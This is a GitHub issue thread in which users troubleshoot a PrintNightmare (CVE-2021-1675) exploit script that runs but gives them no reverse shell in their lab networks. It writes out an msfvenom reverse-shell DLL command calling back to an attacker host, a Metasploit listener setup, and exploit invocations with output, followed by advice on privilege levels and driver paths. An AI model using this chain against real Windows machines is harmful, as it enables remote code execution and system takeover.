Python script executed with no error but nothing happens
D3vil0p3r opened this issue · 16 comments
Hello,
in my lab environment I set a small private network with my Kali Linux (latest version), 192.168.145.128, with a samba share correctly configured, and a Windows 10 machine x64 (192.168.145.1) where I would like to inject the malicious dll (a classic shell reverse tcp), by:
msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=192.168.145.128 LPORT=443 -o /tmp/reverse.dll
I can ping both of the machines on each side of them.
The PrintSpooler service is running on Windows and from Windows, the Linux smb share can be reached with no issues. Th Linux machine does not have ufw installed and iptables list is:
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Then, I start a listener on Kali machine by using Metasploit:
msf5 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set PAYLOAD windows/x64/shell_reverse_tcp
PAYLOAD => windows/x64/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.145.128
LHOST => 192.168.145.128
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.145.128:443
When I execute the CVE-2021-1675 python script, the output is:
kali@kali:~$ sudo python3.8 CVE-2021-1675.py myusername:mypwd@192.168.145.1 '\\192.168.145.128\smb\reverse.dll'
[*] Connecting to ncacn_np:192.168.145.1[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNIDRV.DLL
[*] Executing \\192.168.145.128\smb\reverse.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
[*] Stage0: 0
But on the listener nothing happens. I don't think the .dll is caught by the Windows Antivirus because I inserted it in exclusion.
What could be the issue? How can I solve?
Thank you
Hello,
in my lab environment I set a small private network with my Kali Linux (latest version), 192.168.145.128, with a samba share correctly configured, and a Windows 10 machine x64 (192.168.145.1) where I would like to inject the malicious dll (a classic shell reverse tcp), by:
msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=192.168.145.128 LPORT=443 -o /tmp/reverse.dllI can ping both of the machines on each side of them.
The PrintSpooler service is running on Windows and from Windows, the Linux smb share can be reached with no issues. Th Linux machine does not have ufw installed and iptables list is:Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destinationThen, I start a listener on Kali machine by using Metasploit:
msf5 > use multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) > set PAYLOAD windows/x64/shell_reverse_tcp PAYLOAD => windows/x64/shell_reverse_tcp msf5 exploit(multi/handler) > set LHOST 192.168.145.128 LHOST => 192.168.145.128 msf5 exploit(multi/handler) > set LPORT 443 LPORT => 443 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.145.128:443When I execute the CVE-2021-1675 python script, the output is:
kali@kali:~$ sudo python3.8 CVE-2021-1675.py myusername:mypwd@192.168.145.1 '\\192.168.145.128\smb\reverse.dll' [*] Connecting to ncacn_np:192.168.145.1[\PIPE\spoolss] [+] Bind OK [+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNIDRV.DLL [*] Executing \\192.168.145.128\smb\reverse.dll [*] Try 1... [*] Stage0: 0 [*] Try 2... [*] Stage0: 0 [*] Try 3... [*] Stage0: 0But on the listener nothing happens. I don't think the .dll is caught by the Windows Antivirus because I inserted it in exclusion.
What could be the issue? How can I solve?
Thank you
Same.
Have you solved it?
Still not
i met too
Uncomment line 106 for the error. Mine is giving me the one below. Still working on it.
RPRN SessionError: code: 0x3 - ERROR_PATH_NOT_FOUND - The system cannot find the path specified.
RPRN SessionError: code: 0x3 - ERROR_PATH_NOT_FOUND - The system cannot find the path specified.
i met too
Did anyone find a solution for this? I have the same issue. Even windows is able to access to the smb anonymously the error keeps come-up. I have tested the smb by the file explores and cmd by suing the copy command and both work fine by copy the dll. Also, if I re-enable Defender is blocking the dll coming from the smb server...
It is normal that Defender blocks the .DLL, mostly if it is the usual reverse shell or a known malicious file. The true issue arises when there is a 0-day malware or an obfuscated malware that is able to evade Defender. Anyway, I noted (disabling Defender of course) that the .dll is copied in a folder in System32 (at the moment I don't remember which one) but the .dll was not executed because my reverse shell was not able to contact the "attacker" host. And I also noted that the script works only for Admin privilege users (and I think it is obvious because this kind of user can write on System32 folder) so I don't understand on this video: https://www.youtube.com/watch?v=qU3vQ-B-FPY the tester user "lowpriv" user... I think this is true only if the "low privilege" user has write permissions on Print Spooler folders (in System32).
Ran into a similar situation and haven't found an explanation to the problem just yet, but in my case the path to the file is incorrect.
Instead of writing the file (and subsequently trying to execute it) to C:\Windows\System32\spool\drivers\x64\3\old\xx\test.dll where xx is a number, it only writes data to C:\Windows\System32\spool\drivers\x64\3\test.dll. The different \old\xx\ directories are created however.
So something is blocking the exploit from writing to those specific folders.
... And I also noted that the script works only for Admin privilege users (and I think it is obvious because this kind of user can write on System32 folder) so I don't understand on this video: https://www.youtube.com/watch?v=qU3vQ-B-FPY the tester user "lowpriv" user... I think this is true only if the "low privilege" user has write permissions on Print Spooler folders (in System32).
To answer this question, you abuse the spooler service which runs with System privileges, so the files are written as the System account and not your lowpriv account. You only need the lowpriv account to access the system and start the "printer".
... And I also noted that the script works only for Admin privilege users (and I think it is obvious because this kind of user can write on System32 folder) so I don't understand on this video: https://www.youtube.com/watch?v=qU3vQ-B-FPY the tester user "lowpriv" user... I think this is true only if the "low privilege" user has write permissions on Print Spooler folders (in System32).
To answer this question, you abuse the spooler service which runs with
Systemprivileges, so the files are written as theSystemaccount and not your lowpriv account. You only need the lowpriv account to access the system and start the "printer".
I think this is true when the malicious DLL is executed, but I don't think it is true when you (or who on behalf of you) copy the malicious DLL in the C:\Windows\System32\spool\drivers\x64\xx folder... Also because, why in my case with a Standard account I get an error while with an Admin account works (despite, ok, I have then the issue reported at the beginning)?
To answer this question, you abuse the spooler service which runs with
Systemprivileges, so the files are written as theSystemaccount and not your lowpriv account. You only need the lowpriv account to access the system and start the "printer".I think this is true when the malicious DLL is executed, but I don't think it is true when you (or who on behalf of you) copy the malicious DLL in the C:\Windows\System32\spool\drivers\x64\xx folder... Also because, why in my case with a Standard account I get an error while with an Admin account works (despite, ok, I have then the issue reported at the beginning)?
Try running the exploit with a lowpriv user and name the .dll something easy to spot. Next verify on your test device in the C:\Windows\System32\spool\drivers\x64\3\ directory that the .dll is present. When looking at the rights for the file, you should notice that your lowpriv user has only read & execute rights, meaning the lowpriv wouldn't have been able to write the file.
Same for me. I am attempting to exploit Windows 2012R2 Server. Note the UNC path enumerates differently, but nothing happens - Reverse shell connection:
./CVE-2021-1675.py windowsOVA/Administrator:qwertyasdf@192.168.64.113 '\\192.168.64.205\smb\reverse.dll'
[*] Connecting to ncacn_np:192.168.64.113[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found
C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_595c853c76796f44\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\192.168.64.205\smb\reverse.dll <---- UNC path is different on 2012 than 2019.
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
[*] Stage0: 0
I actually got this working by creating a regular user account on the server (non-AD) then running the exploit using that account. On Windows 2012R2, using the Administrator account does not work.
Could it be a regular (not privileged) user scenario could work on Windows Server but not on Windows? I don't know why my low privilege user case didn't work on Windows 10
Uncomment line 106 for the error. Mine is giving me the one below. Still working on it.
RPRN SessionError: code: 0x3 - ERROR_PATH_NOT_FOUND - The system cannot find the path specified.
Did you managed to fix the problem?
Hi, i encountered the same issue, and the fix was actually that the user triggering the spooler had to be a standard user. Didn't work with high privileged user